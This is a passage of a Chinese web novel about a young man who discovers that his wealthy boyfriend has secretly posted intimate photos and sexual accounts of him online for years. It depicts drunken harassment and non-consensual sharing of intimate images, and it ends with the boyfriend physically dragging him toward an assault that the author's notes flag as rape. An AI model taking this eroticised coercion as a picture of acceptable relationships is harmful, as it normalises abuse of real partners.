甄甄听见戴维的声音,先说了句“你来啦”,说完才注意到氛围不太对劲,凑近了问:“你说话他们听得懂吗?” 戴维姿态放松地靠在椅子上,余光瞥着那些人,对甄甄却是一贯笑眯眯的:“听不懂,但看得懂咯。” 甄甄能感受到这些人对他的不友好,看完秀就待不住了,跟戴维打过招呼,自己先回酒店。 他刷过房卡,一推开门,看到不该出现在这里的方寸行,不免愣了下。 走近后,一闻,皱起眉:“戴维找你半天,你跑去喝酒了?” 方寸行没说话,侵略性的眼神却看得甄甄很不舒服,他边给戴维打电话,边说:“你跑哪儿去了,他之前还到处在找你呢。” 电话拨通,那头传出来一声喂,甄甄还没来得及说话,就被方寸行伸手按掉了通讯。 甄甄这下确信他不仅喝酒,多半还喝醉了,否则怎么会秀不去看,跑到自己房间里发酒疯。 他虽然一向都对这个毒舌上司敬谢不敏,但这家伙好歹帮过自己几次,所以也没生气,收起手机,扶住方寸行,打算把他带回他自己的房间。 甄甄推着他,这人两腿像树长在地上,纹丝不动。 甄甄现在有点生气了:“你什么毛病?” 方寸行一错不错地盯着他:“我没病。” 甄甄恼火得很:“那你倒是动啊,没病就走两步!” 方寸行就像听不进去话一样,依旧没任何动作。 甄甄崩溃道:“你是不是中邪了!” 方寸行忽然说出一句:“我冇撞鬼……我中意你。” 他说完就想收回,但话一出口就落地生根,如覆水难收。 甄甄的表情立刻悚然:“你确实撞鬼了。” 他避瘟神一样丢开方寸行,火速后退,赶紧又给戴维打电话,想让他快点把他表哥带到医院洗洗脑子,啊不,洗洗胃—— 这得是喝了多少才能发这么大的疯? 方寸行动了,一个跨步逼近甄甄,挥手打掉他的手机,抓住他手腕,一字一句地重复道:“你听不懂的话,我再重复一遍。” “我喜欢你。” 甄甄的心跳随着手机落地重重一顿,他有些慌张,眼神不自觉乱瞟,在看到方寸行眼底蔓延的血丝时,不再乱看了,却又陷入另一种巨大的恐慌之中。 这突如其来的告白实在过于荒谬,却又好像给了甄甄答案,似乎也只有这样,才能解释方寸行为什么一再从中作梗,试图让他和贺越邱分手。 甄甄手腕挣动着,试图让方寸行冷静点:“你喝醉了,说话不过脑子,不适合谈这些。这样,你先回去休息,等清醒了再说。” 他同时也抱着一种天真的想法,希望对方只是发酒疯,睡一觉后就不记得今晚来过他房间,又说过这些话。 他也会做好一个合格的被告白者,把这事儿烂在肚子里,当做一切都没发生过。 可方寸行却说:“我现在就很清醒。” 甄甄用声音掩盖自己的不安:“弱智才会信一个酒鬼的话!” 方寸行冷酷道:“你如果聪明,就不会被贺越邱耍得团团转。” 可话一说完,他才想起来甄甄什么都知道,一切都是他们两个人之间的情趣,从头到尾都只有他这个局外人在真情实感,又觉得自己这么说未免太自作多情,到了可笑的程度。 但痛到极致的心脏又不甘地叫嚣着,凭什么贺越邱那样的人都可以拥有甄甄,而他却只能躲在角落里阴暗地窥视? 凭什么、凭什么他就不可以? 攥住手腕的那股力道越来越大,甄甄吃痛,却怎么也甩不开:“你干什么?放开我!” 他的抗拒却更加激怒了方寸行,眼神带着怒火,扫视着眼前挣扎的人。 明明在贺越邱面前騒成那样,却要在自己面前装贞洁烈女,无论他明里暗里做过多少事,就好像天生不对头一般,一直都讨厌他、回避他,把他当做什么避之不及的洪水猛兽。 方寸行实在想不开了,胸口被怨愤和酸涩填满,一股冲动涌上来,口不择言道:“你既然那么迎合他的癖好,那为什么不和我?也不必担心出轨的罪名,毕竟你的男朋友知道了反而会更兴奋,更爱你不是吗?!” 甄甄手腕痛得挤出眼泪,根本没认真听他说话:“你在胡说八道些什么,我压根就听不懂!” “你不懂?呵,别在我面前装纯洁了!” 方寸行一声怒吼,将甄甄吓住,愣愣地看着他。 方寸行看不得他这样,却又心痛,颤抖着说:“你自己都承认过,现在又装什么!” 甄甄回过劲,既莫名其妙,又气他说话不尊重:“你说话能不能说明白点儿?我到底怎么惹你了,是你自己跑到我房间里发酒疯又吵又闹,我都还没跟你计较,你倒生上气了!” 方寸行见他油盐不进,重重甩开他的手,冷笑着拿出手机,翻出H的账号,把那些更新一条条划给他看:“眼熟吗?认识吗?” 他的声音扭曲得像厉鬼,报复性的,带着某种隐秘的恶意和快感:“这是不是你!” 甄甄正要骂人,一张熟悉的图片跃入眼帘,还不等他看清,紧接着又是一张温泉照。 甄甄张了张嘴,却没发出声音,一张张照片从他眼前走马观花般滑过,可哪怕只停留过一两秒,他也一眼就能认出来,因为…… 都曾身临其境。 甄甄愣在原地,他能看到方寸行的嘴巴在动,耳朵却接收不到任何声音,就像一部有些滑稽的默片,只听得到一阵盖过一阵尖锐而长久的耳鸣,之后又是心脏急速跳动的声音,“砰砰砰砰砰砰”,又重又快,带动着浑身的血液也在急速流动,好像下一刻就要爆炸在胸膛里。 方寸行还说了些什么,他不知道了,只是愕然地看着。 方寸行得不到反馈,觉得无趣,也很没意思——贺越邱一点也没说错,他确实很失败。 他一刻也没办法再待下去,收回手机转身离开,脚步踉跄着,还险些栽倒,但这些都跟甄甄再没有一点关系。 他眼睛发直,好像还停留在那刺眼的屏幕界面,白色的荧光像一把生锈的刀,一寸寸地割着他的眼球,痛得溢出蛛网般纵横交错的血丝。 他是个爱哭的人,可这种时候,却一滴眼泪也流不出来,就像他明明好痛,却喊不出声,也动不了,好像不管声音还是眼泪,都被人狠狠地堵住,怎么也宣泄不出。 他甚至没办法思考,他只能看到那些照片,但想不了任何事,就像被格式化的程序,整个人完全是空白的。 方寸行发泄过后,酒醒了些,刚走出房间,贺越邱的电话就打进来。他看着那一串熟悉的数字,满心只觉得讽刺,生平头一次主动挂断。 但还没走出几步,屏幕便又亮起来,方寸行听着急促的手机铃声,不知为何想到了被自己留在房间里的甄甄,他到现在都还清晰记得他从疑惑到失魂落魄的瞬间,心底不知为何升起一阵惶恐。 方寸行出着神,呼号超时,自动挂断,但下一秒就又追魂夺命般响起。 他突然有些喘不过气,脑内一番激烈的天人交战,现实中却只不过十几秒。 他最终还是接起了电话。 贺越邱阴沉到恐怖的声音从听筒里传出:“方寸行——” 他一字一句的,仿佛要捏碎他:“你是不是找死?!” 荒谬先于任何情绪涌上喉腔,逼出方寸行的嗤笑:“这个点给我打电话?是知道我刚刚对你的男朋友表白了?你不是该兴奋吗,毕竟我都按你说的做了,又何必……” 他忽然说不下去,一个更为可怕的猜测后知后觉浮上脑海,让他甚至忽略了贺越邱为什么表现得像是就在现场。 一阵惶然的失声后,方寸行猛地转身,拔腿跑回房间。 他不知道…… 他不知道! “甄甄!” 方寸行此时的酒完全醒了,他停在门口,剧烈地喘着气,嘴唇颤抖着,说不出下一句话。 他隔着不远不近的距离,第无数次看向甄甄,这张一直都是十分明媚的脸上,现在出现着一种比任何形容词都更加浓烈的绝望,依旧保持着他刚刚离开时的姿势,像一块了无生气的石头,怔怔地、木木地,盯着空气中某一处。 方寸行眼前发黑,喉咙里也涌上血气,他缓了许久,才生出力气,小心翼翼地、一步步靠近着,轻声喊着甄甄的名字。 没有挂断的通话界面也安静下来,只有经过电流后修饰失真的沉重呼吸。 直到彻底靠近,确认不会有一丝失手可能,方寸行才一把抓住甄甄的手臂,竭力稳定着情绪,试图挽救:“你、你没事儿吧?刚刚……我是被你拒绝,气急了,才说出来那些话,都是我胡编乱造的。我喝醉了,一些气话疯话,你别当回事。秀场现在正举办晚宴,有不少明星都在,我带你过去。” 他轻轻拉着,但明明是那么瘦、那么轻的一个人,却一动也不动。 方寸行额头冒着冷汗,从没像现在这样着急过。他说了很多话,但都没得到回应。 甄甄好像完全封闭了五感,连眼睛都几乎不眨动。他脸色惨白地站在那儿,不像是活人,叫人看得心惊。 方寸行早就后悔得恨不能杀了自己,正僵持着,戴维脚步匆匆地闯进来,边走边着急地问:“怎么了?给我打了两个电话?” 又看到方寸行,顿了下:“表哥?你怎么也在这儿?” “我……” 方寸行话没说完,甄甄忽然喘过一口气,像终于活过来了,他还没来得及高兴,手里的人就失去支撑,猛然往地上一栽—— 还好戴维眼疾手快,接住了。 戴维急道:“没事儿吧?” 甄甄浑身发冷,剧烈地发着抖,但他还勉强笑着对戴维说了句谢谢,挣扎着要站起来,却像被人突然间抽掉了所有骨头般,一点力气也使不上来。 僵直状态被打破后,那种无法叫喊出声的心痛才后知后觉地从身体的每一处冒了出来,甄甄痛苦地喘着气,借着戴维的支撑几次爬起都又重新跌了回去。 他最后瘫倒在戴维的怀里,用尽全力也只能抓住一点袖子,拼命地动着嘴唇,却因为喉咙实在发不了声,只能近乎自语般,勉强说出一句:“我、我要回去,戴维,我要回去……” 戴维不知道发生了什么,可他从没见过甄甄这样,他无措地抬头看了眼方寸行,后者却只是难堪地别过脸,他又低下头,声音里带着慌张:“可、可今天的航班已经停运了,要不我先带你去休息,你冷静一下,等明天一早再走。” 甄甄猛地抓紧他的手,这么瘦弱的一个人,不知道哪儿爆发出的力气,甚至把戴维都捏痛了。 他的泪水在这一刻决堤般夺眶而出,用力到沙哑的哭声让戴维心头一震,被那种悲恸到极致的情绪淹没。 “帮我订机票,我要回去,我要问清楚,李佳航,我现在就要回去!” 戴维猛地抱住他:“好。” 甄甄忽然又卸了力,无声地痛哭—— 作者有话说:还没修不要看啊啊啊啊啊啊啊啊啊太难写了[爆哭] 二编:明天起来再精修下 整篇最爽的瞬间竟是方寸行那句他不知道,当时真是全身都麻了一下 第33章 第 33 章 机舱外暴雨,甄甄在看H…… 戴维宁愿甄甄像小孩子一样撒泼打滚地哭闹, 也好过现在这样无声无息地流泪。他越是这样安静,他就越是害怕,恍惚间会以为自己怀里抱着的不是一个活人, 而是被挖掉了心脏、抽干了灵魂的木偶, 不然他身上怎么会这么冷、那眼泪像是怎么都流不完? 他不知道究竟发生了什么才让甄甄如此崩溃, 或许是和站在这里的方寸行有关, 也或许他跟贺越邱之间出了什么问题, 但这些在甄甄哭着求他帮忙的那一刻都不重要了。 他只想对他说,你不要再哭了,我真的不希望看见你这么难过。 戴维的眼眶也有些湿润,一手搂住甄甄, 空出手来查上海到北京的航班。现在是晚上八点, 今天内的机票已经全部售罄, 只有凌晨还有一趟廉航的红眼航班, 界面显示仅余两张票。 他不觉得以甄甄现在的状态可以独自乘机,本来想两张都买了,他陪着他一起回去, 免得路上出什么意外。但不过就是点进去时延迟了那么几秒,机票就只剩下最后一张。 戴维愣了下, 手比脑快,直接点了购买,添加完乘坐人信息后, 他才想起来要问一下甄甄:“你一个人……真的行吗?如果没那么急, 我们可以等白天的飞机,或者坐高铁回去也行,不会耽误太长时间的。” 就甄甄现在这状态,能不能单独走出这个房间恐怕都是一个问题, 他实在是不放心。 但甄甄只是流着眼泪,拉住他的袖子,拼命摇头,原来清亮的嗓子现在又细又沙哑,像米里掺了沙石,说得很艰难,戴维要很仔细才能听清楚他的话:“我……要回去……我一定要回去……现在、立刻……” 他的心是那么痛,又是那么急切地需要真相,如同救护车上拉的绝症病人,一秒钟也等不了,一秒钟也耽搁不得。 戴维实在没有办法,只能说着“好”,把甄甄扶起来,搀着他去打车。 戴维问他有没有什么东西需要收拾,甄甄无声地摇着头。现在还能支撑他没有彻底崩溃的唯一念头,就是要回去问个清清楚楚,除此之外什么都听不进去,也不愿意听。 方寸行握紧拳,指甲深深地嵌进肉里,心痛如绞——似乎他也是甄甄不要的东西之一。 他不忍,低声道:“佳航,你先送他去机场,他的行李我来收拾。” 戴维心情复杂地点了点头。 他们出酒店时,天空下起了麻麻细雨,等甄甄坐上飞机,挤在靠窗的狭窄座位上时,他再往外看,早已是大雨倾盆。 飞机在黑夜中缓缓地向前滑动,引擎发出轰隆的巨响,在一阵长久的耳鸣中逆雨而上,载着甄甄和他破碎的感情冲入云霄。 之前一直浑浑噩噩,但当真正坐上回去对峙的飞机时,甄甄反而前所未有地冷静了。 去机场的出租车上他靠着戴维的肩膀在哭,候机时也一直在哭,就这么哭了几个小时,再多的眼泪也流干了,只是时不时还有一两颗不受控制地滚下来。 甄甄现在的状态憔悴得可怕,眼睛哭得肿起来,浅色瞳孔上遍布红血丝,一眨就干涩肿痛,任谁见了都猜得出他一定是遭遇了什么很严重的打击。 空姐飞这条航线十几年,尤其是深夜的红眼航班上,见到过太多像甄甄这样失意的人。这两座城市是那么大,从万米高空往下看,无论何时都是灯火通明、喧嚣尘上,反衬得人是那么渺小。失恋、被裁、工作、奔丧……这一生有太多意外,总会在某一个瞬间将人击垮。再顺遂的人,也总会有几个痛哭难眠的深夜。而他们的眼泪,就像融入这万家灯火的一盏路灯,轻而易举地被消弭吸收。 可即使是阅人无数,甄甄的眼泪也格外让她共情。就算是那么昏暗的光线下,他也依旧白得显眼,通透地发着光,越是泛红的眼眶,越是白皙的皮肤,就越是显得他更脆弱。 他哭起来也没声音,安安静静的,和周围糟糕的环境格格不入。 空姐拿了一件毛毯,轻轻地走过去,盖在甄甄身上。 甄甄没有反应。 他在看H的账号。 手机屏幕在黑暗中散发着刺眼的荧光,把他过分清瘦的脸颊照得发白,现出尖尖的下巴。 推的更新查看顺序是由近到远,整整四年,他和贺越邱在一起有多久,这个账号就存在了多久。 甄甄机械地滑动着手指,从头翻到尾。那么长的记录,他翻得手指都累了,竟然还是翻不完。一张张曾经和贺越邱相处过的场景刺入眼底,泛起阵阵涩痛。 而那些旖旎的、暧昧的文字,那一次次亲昵的称呼,则化作一支支利剑,由他最深爱的人执手,毫不犹豫地捅入他的心脏,一寸寸切割、一片片凌迟。 甄甄从来不知道白屏黑字也可以把人伤得这么狠。 H:zz给我的生日礼物。以前我这样逗他,每次都眼泪汪汪地反驳说自己不是,今天却主动扮成小狗。下回我过生日,要不要多养一只小猫? H:这几天不更新,闹脾气了,哄哄。 H:温泉。感觉zz就像只飞机耳的小狗,可怜死了,怎么这么胆小?一听到声音就往我怀里躲,呜呜汪汪的,想欺负他。 …… H:今天zz的上司来家做客,zz咬着手指不肯出声,这种时候就得故意逼他哭出来。 H:更衣室。以前说过zz很瘦,但其实太瘦了也不好,稍微跪久一点儿,膝盖就青紫。也很笨,教他很多次都学不会。 H:被我亲了,迫不及待地下车给他老板看。那家伙眼睛都看直了,还装。 …… H:新年快乐。 H:zz最近胖了点儿,长了点肉,捏着是挺舒服。 …… H:三周年。我说要送他套房子,他不要。名字都写了。我问为什么,别人家的天天吹枕头风要买这买那,不买还要生气,你怎么什么都不要,他说他又不是出来卖的。 感动归感动,这种笨蛋,要是遇到个抠门的,不就白给人睡了。他好天真。 …… H:说过很多次不会发正脸。也没什么付费群,就这一个号,别被骗。 …… H:之前哄zz答应过我可以,昨晚又反悔,害羞得把脸捂住不让。但是捂错地方了吧。 …… H:无奖征集:明天给zz做什么早餐? H:zz中途突然停下来,哭着问我哥哥zz是不是太瘦了不好看,抱起来也不舒服。我估计他又从哪儿看了些乱七八糟的。我低下头亲他,跟他说这样好看,会特别明显。 然后他就不哭了,开始骂我变态。 …… H:出差,刚落地病就犯了。 …… H:今天倒是叫daddy了,但还不够。 H:zz总是很喜欢一脸正经地说些让人浮想联翩的话,但不准别人说,我要是顺着也说,就害羞得只会呜呜呜地哭,老公都不愿意叫,只会叫哥哥。好纯。 …… H:zz如果真的是小狗就好了,出差能把他藏在衣服里,走到哪里都带着。 H:每次一说你是不是老公的小狗,他就生气说自己不是。嗯,就是。 …… H:带他出国玩,有了对比,他再也不对着中餐说难吃了。 H:真快,一周年了。 …… 飞机落地,甄甄也终于把H的账号翻到底,看到了他的第一条更新。 竟然恰好都是凌晨三点。 甄甄记得四年前那个夜晚。因为在此之前,他权衡利弊,考虑了很多次,他这样一个无权无势的孤儿,究竟能不能陪太子爷玩这场输了就万劫不复的真心游戏。 他甚至也问过早早去世的父母,是趁早抽身,还是迈出最后一步。 自然,这么问注定是得不到答案的。从他六岁之后,他的人生就从来没得到过谁的指点,无论是用只剩八个月的时间赌一生的前途,还是孤身一人到北京念书,他都只能自己做决定。 胜败在己,听天由命。 甄甄会犹豫,是因为他不觉得自己天生就是同性恋,在遇见贺越邱之前,刚迈入青春期时,他对给自己带早餐、一起上下学的女生有过好感。即使他们并没有发展出任何超出友谊的关系。 他在贫穷落后的小县城出生,就算来到北京,在这里扎根待上几十年,他的思想底色也永远来自那个封闭落后的小地方。 喜欢男人,和贺越邱在一起,这实在是一件太过于离经叛道的事。他的的确确是花光了所有的勇气,而且做好了一辈子也不要再回到故乡的准备,才答应了贺越邱的告白。 虽然甄甄的考虑其实没多大意义,就像成绩平平的高考生把学校选来选去也大概率没什么区别,但至少对于当时一个刚成年、初次恋爱的小男生而言,把自己完完全全地交给贺越邱,这真的是一件非常非常重要、一定要好好抉择的事。 少年心事总像下雨天一样忧郁,不惮于把所有可能都往最坏的结果上想。只是在甄甄想过一切最坏的结果后,他还是想要和贺越邱在一起。 这个男人成熟,多金,英俊,高大,是甄甄梦想中自己应该成为的样子,他愿意相信这会是一个很好的人,会很爱他。但不是因为他觉得自己年轻、漂亮、青涩,有足够的性资本能吸引到上等人的倾心。 而是因为,甄甄觉得自己真诚、善良、勇敢,他会用真心去交换真心,付出爱去收获爱。他没有在卑微地讨好谁,也不是在用身体交换利益,无论贺越邱身份是否显赫,都不影响他的决定。 永远太长,连爸妈都做不到永远陪在他身边,所以他从来没奢望过永远。 他在那个晚上,为贺越邱献出纯洁的身体,因为他的填满而痛得掉下眼泪时,只许了一个很小的愿望。 只要贺越邱陪他的时间能比爸妈长一点,哪怕只长一天,那就算永远了。 他想这应该不算太贪心。 甄甄握着手机,一滴眼泪缓缓地从他脸颊滑下,掉到手机屏幕上,正好溅花H的第一条更新。 H:现在想想,其实可以让他不那么痛,但不知道他为什么一直哭。 哭得太好看了,忍不住想欺负他。 空姐安静地走过来,轻声道:“其他乘客都已经下车了,请问您有什么需要帮助的吗?” 甄甄转过头,怔怔地看着她,眼眶红红的,泪水滚下来。半天,勉强笑了一下,礼貌道:“谢、谢谢,麻烦,麻烦你扶我一下吧,我好像,好像站不起来。” 空姐一边伸手扶着他肩膀,一边喊空少过来搭把手。她原意是怕自己扶不住他,但一上手,才发觉这人怎么轻成这样,连她都能很轻松地把人扶起。 甄甄一直重复地说着给您添麻烦了,他实在觉得要一个比自己矮这么多的瘦弱女士搀扶很过意不去,可他不是故意找茬,他也不知道是为什么,手脚完全没有知觉、也提不起力气,不要说正常行动,连站起来就会摔倒,只能拜托她扶着自己下了飞机。 一出机舱,暴雨倾盆,水花溅起几十公分。甄甄穿得很单薄,几乎在一瞬间,就被全部淋湿了。 机场的工作人员很负责,把他送到出租车上,司机师傅也很热心地问他去哪。 甄甄是知道小区名字的,可那一瞬间,他的大脑一片空白,愣愣地说:“我、我不知道……” 他还没攒够首付,北京没有他的家—— 作者有话说:下章预警,可能会有暴力和羞辱描写,接受不了的别买 第34章 第 34 章 “贺越邱,我们玩完了。…… 轰隆一声, 闪电劈下,甄甄瞬间回神,脸色苍白地看向停在车门边的男人。 雷光照亮他眼底今人心惊的晦涩, 转瞬隐匿下去, 沉声道:“出来。” 甄甄猛地抖了一下, 浑身发冷。 贺越邱单手撑着伞, 向车里的人伸出手, 雨水线似的从伞沿流下来,很快就打湿了他的袖口。 甄甄忽然很害怕他,颤抖着往后面躲了躲,却只触碰到出租车的座椅。 贺越邱沉默片刻, 他没有想吓他的意思:“有什么事, 回去再说。” 甄甄坐在迈巴赫的后排, 从来没像现在这样狼狈过, 浑身被雨淋得湿透,布料紧贴着皮肤,透出病态的苍白。他并着腿, 鞋面沾着泥点,头发和衣服都滴滴答答地滴着水, 很快就在真皮脚垫上积起一滩雨水。 贺越邱时不时从后视镜里看他,眼睛因为哭太久,又红又肿, 底下一片血丝。车里开着空调, 应该是不冷的,可他还是瑟瑟发抖地把自己抱成一团,像条雨夜里跑丢挨冻的小狗,让主人找回来了, 从大大的、发呆的眼睛里透出可怜。 他也不知道该怎么形容现在的感受,好好一颗健康心脏像被人用力攥着,来回地、反复地挤压,逼出一阵阵无言地酸痛。 车开得越来越快,一路破开路上的积水。雨夜里黑乎乎的绿化带在快速倒退,甄甄愣愣地看着,忽然生出一种似曾相识的眼熟。 他回忆起与方寸行被迫滞留在车里的那晚,一个当时被自己忽略的想法像沙漠植物的种子遇水勃发那般,在顷刻间扎根长大,让他再也无法忽视。 甄甄又僵硬地转过头,看向驾驶座那个无声的背影:“那个晚上,你说雨太大不能来接我,但其实你来了,开车跟着我和方寸行,对不对?” 他的语气其实并不激烈,却让贺越邱脸色一变。 短暂地安静后,贺越邱说:“别多想。” 甄甄麻木地笑了一下:“那就是了。” 片刻,他又问:“为什么?” 他当然不只是在问这一件事,贺越邱心知肚明,却不知该怎么回答。 他一直以来都是运筹帷幄的,连股市都操控地游刃有余,对付一个没多少见识、又不太聪明的年轻小男孩而已,明明应该更加得心应手。可在贺越邱平静的外表下,心跳却和打在车顶的雨点一样杂乱,等待甄甄从上海回北京的这几个小时里,他本来已经想好了条理清晰的说辞,但真到了对峙的这一刻,这些准备突然就没了用。 他一句话辩驳的话都说不出口,更不敢承认。甚至因为心虚,生出些恼火。 甄甄等了很久,最后也只得来一句粉饰太平的“等你休息好再说”。他扯着嘴角,冷漠地笑了,有那么一刻他觉得贺越邱比自己还要天真,或者说,是这段感情于他而言太过顺利,所以这一次和以前的每一次都一样,高高在上的贺大少爷,并没有将他的痛苦放进心里。 他扭头看向窗外,因这个动作,显出白皙的、细长的脖子,昏黄的车灯照在上面,分割出一片折叠的阴影,像一片渐渐融化的雪地,化掉的雪水就流入人看不见的暗处。 到家后,贺越邱拿出一早准备好的睡衣,让甄甄先去洗澡。 他在阳台上抽着烟,雨声和水声混合在一起,搅得他一团乱麻。 他听到主卧门打开,忙灭了烟,一转身,甄甄已经悄无声息地走到他身后。 他没有穿那套面料舒适的睡衣,而是穿了一套整整齐齐适合出门的便服,朝贺越邱伸出手:“给我手机。你的。” 别说贺越邱诧异,连甄甄自己都没想到,他居然会这么冷静,没有大哭大闹。 “……查房啊。”贺越邱笑起来,用轻松的语气掩饰心底的慌乱。 甄甄不被他带偏:“你知道我要找什么。” 贺越邱语气软下来:“可不可以不看?” “我不想再当一个傻子。” 贺越邱咬肌抽动着,僵持很久,终于还是在甄甄的坚持中败下阵来。 他从兜里拿出手机,递过去,在接触到对方冰凉的皮肤时,手指颤抖了一下。 贺越邱的手机没有设置屏幕锁,甄甄很轻易地就能打开,布局界面一览无遗,而那个黑底白字的软件甚至就在第一页,一个冰冷的X,刺痛着他的眼睛。 甄甄忽然不想看了,他心底早已有答案,可或许是还抱着最后一丝希望,想着贺越邱答应过,没有任何隐瞒。他又不死心。 他原以为自己今晚足够冷静,在见贺越邱之前已经把眼泪都哭光了,现在站在他面前,没有吵没有闹,在很成熟地处理这段岌岌可危的感情。可当他离真相只有咫尺,他发现自己还是没有想象中的那么平静,手抖得必须两只手一起捧着,才能勉强拿稳手机。 甄甄抬起拇指,要按下去那一刻突然呼吸困难,胸膛剧烈地起伏着,他几乎已经预知到会面临多惨烈的局面,可还是坚定地、不给自己留有任何余地,点进去那个软件。 轰隆—— 一道摧枯拉朽的闪电在城际线劈下,照亮大半个天空,贺越邱看到甄甄的脸上在一瞬间淌满眼泪,像窗户上成股流下的雨水。 他怔怔地抬起头,嘴唇颤抖着,半天也说不出一句话。 贺越邱稳着心神,朝甄甄走过去,想拿走手机:“我可以解释,你先……” 他噤声。甄甄往后退了一步,手机也掉在地上,界面静静地停留在H的账号里。 这下,甄甄再也不能欺骗自己,再也不剩一丝希望,不得不接受一个残酷的事实:这段他以为两情相悦的自由恋爱,在另一个世界的一百多万人看来,只是一个有钱人无聊时作为消遣的色/情/游戏。 贺越邱在他面前一口一个宝贝儿,H在背后一口一个騒狗。曾经因为心疼,因为喜欢,才说出来的那些话,如今成为一颗打穿他心脏的子弹,溃烂的伤口提醒着他,你确实就如你以前说过的那样,就是一个……很好用,很顺手的工具。 不要钱,免费干。 甄甄麻木地流着眼泪。 就是在这座房子里,昨夜,他们还在庆祝生日,共享幸福和甜蜜,今晚他坐红眼航班赶回来,就要收拾这样不堪的场面。短短一天之内,他同时体验到被捧上云霄,又跌落谷底的感觉,而这一切竟都是同一个人给予他的。 贺越邱,这个前一天还与他抵死缠绵的男人,毫不吝啬地给了他所有的承诺,呵护,宠爱,也毫不犹豫地给了他痛苦,伤害,谎言。 他付出一切,没得到真心,只得来残酷的真相。 让这四年,情何以堪。 甄甄喃喃着,眼泪滚烫地涌出来:“我们……贺越邱……我们……” 他哽咽着,怎么也说不出来那两个字。以前无论吵得多凶,他也从来没有把分手说出口,那是一段感情走到最后无可挽回的结局,怎么能拿来当做吵架的筹码。 可这一刻,他却只想逃开贺越邱,逃开他的谎言。他要离得他远远的,不要再做贺越邱的男朋友,更不要做H的zz。 “我们……” 贺越邱有些慌了,上前一步抱住甄甄,吻着他耳朵,竭力想要安抚:“我们好好地,忘了这些事,我会补偿你,赔给你一辈子,以后再也不会对你有所隐瞒。” 他的声音让甄甄清醒,剧烈挣扎起来,从前渴望的、依赖的拥抱和亲吻,现在却让他无比恶心,后背升起一阵阵冷意。他摇着头,拼命地摇着头,哭着说:“我不会再相信你了,永远也不会,你放开我,贺越邱,你放手!我要离开你,彻彻底底地离开你!” 贺越邱的愤怒和恐慌被这句话瞬间激起,他将甄甄抱得更紧,叫他几乎喘不过气,而这样扑面而来的激烈汹涌的情绪,也让他很难呼吸,激动道:“不要再说这种话!我骗了你,伤害你,你怎么恨我都好,就是不能离开我!” 甄甄尖声道:“你凭什么这么霸道!凭什么说得这么轻巧!贺越邱,还是我该叫你H,哄我拍照录像哄我说那些话的时候你心里是不是很爽?你到底玩够了没有,还要玩弄我到多久?!也对啊……这些服务哪怕买/春都要额外加钱吧,可是我不用,我一分钱都不要,就这么敞开腿免费给你玩,玩了四年,我要是你,我也舍不得!” 甄甄用尽了他所知道的最下流的词汇来攻击贺越邱,可每一句话却都捅向了他自己。说是两个男人,实际他们的地位依旧不平等,他是被睡的那一个,连在网上被传谣言都是承担着被羞辱的那一方,而像方寸行这样的人,贺越邱这样的人,只会被羡慕、被追捧。 他好恨,恨他自己都不尊重自己,恨他为什么要这么蠢这么容易轻信男人,可他也是真的委屈,不明白到底做错了什么,上天要用如此惨烈如此不堪的方式惩罚他。如果能重来一次,可以回到四年前,他一定会离贺越邱远远的,他甚至不要再留在北京。 即使回不去——甄甄泪眼朦胧地想,他现在也有选择的机会。他这时候又庆幸他们是男人,没有法律盖棺定论的恋情只需要说出分手就能结束,不必拿出半条命去耗。 甄甄拼尽全力推开贺越邱,狠狠地擦掉眼泪,扯掉项链扔在他脸上,决绝道:“贺越邱,我们玩完了。” 这一下激起了贺越邱的愤怒,隐约还夹杂着某种即将失去的恐慌,但他下意识忽略,只注意到甄甄说要离开他。 这怎么可以?! 贺越邱攥住甄甄的手腕,表情近乎狰狞:“我说过,别提这种话,不要惹我生气。账号的事,等你冷静后,我再跟你解释,没你想的那么不堪。我从来都没有把你看得那么不堪,你哭,我心里也不好受。先去睡一觉,有什么事明天再说,听话好吗。” 甄甄不可置信地看着这个男人,他究竟是哪里来的理直气壮? 甄甄仿佛头一次认识贺越邱,恐怖、陌生,像个地狱爬出来的恶魔。 “解释?不,我不需要了。接受你告白时我就说过,即使身份上我跟你不平等,但精神上,我不需要仰视你,我不是你的性/奴隶,我是我自己的,我有权利提分手,有权利离开你!” 贺越邱低吼道:“你没这个权利!” 甄甄气得浑身发抖,奋力甩开他:“你别发疯了!你才是那个真正没权利玩弄真心的人!” 贺越邱缠上去,冷笑道:“争论这些没有意义,你既然答应过要永远和我在一起,我就不会轻易放你离开。” “贺越邱!你还讲不讲道理?你就是个有妈生没妈养的东西!” 这话一说出来,两个人都安静了。 甄甄愣了下,自觉失言。他和贺越邱都早早地没有母亲,就算他真的气昏了头,也不该拿这种话去伤害对方。 他抿抿唇,正要为自己的口不择言向贺越邱道歉,手腕却忽然一痛,抬起头,是男人沉郁到可怕的表情。 甄甄的心慌张而冰冷地沉下去,一句对不起都没有说完,就被贺越邱攥着手拽向卧室。 他预感到他要做什么,恐惧地摇着头,蹲下不走,拼命抵抗。 “你、你冷静点儿……我不该那么说……” 贺越邱始终不言,但这种沉默却更令人害怕。他发现这样拽不动后,就直接抓起甄甄的衣领,不顾他双手抓上来呼吸困难,像牵狗一样,强硬地把他拖进屋子里—— 作者有话说:本来想把强尖一起写完,写不完了,还没修,先别看 修了,下章暴力预警,有羞辱有出血,慎买 第35章 第 35 章 【暴力预警】“贺越邱,…… 甄甄恐惧地看向主卧室, 深黑色的门往后打开,露出空洞漆黑的房间,像怪物的嘴, 要一口吞了他。 甄甄竭力反抗着贺越邱, 然而他的体重并不比一个身材匀称的女性重多少, 在一个前职业橄榄球员面前, 他的所有努力都无异于以卵击石。 贺越邱力气恐怖, 拖拽着甄甄,连客厅铺的毯子都被带变形,形成一个朝着门口的箭头。 眼看着离门越来越近,甄甄害怕又绝望, 情急之下朝着贺越邱的小臂一口咬上去, 对方却只是皱了下眉头, 随即用力往前一拽, 他的膝盖就“砰”地一下跪到地上。 剧烈的疼痛让甄甄一瞬间就卸了力,一阵阵的眼黑心慌,被贺越邱抱起, 重重扔到软垫上。 甄甄刚一缓过来就要逃开,贺越邱却不给他任何逃脱的机会, 单手制住他。 “你要干什么?贺越邱、贺越邱!你冷静一点!” 甄甄像只落入陷阱绝望逃生的兔子,贺越邱仅仅用一只手就能轻松控制住他,让他深刻又无助地体会到两个人之间体型的悬殊, 也没有哪一刻比现在更让他痛恨自己的愚蠢——他到底是怎么敢和这样一个人在一起, 怎么敢把自己放心交给他的? 甄甄哭泣着,他想,不敢了,以后再也不敢了。 贺越邱要吻甄甄, 被他胡乱挥舞着双手推拒,眼泪大颗大颗地滚下来,哭着说:“你滚开!滚开!” 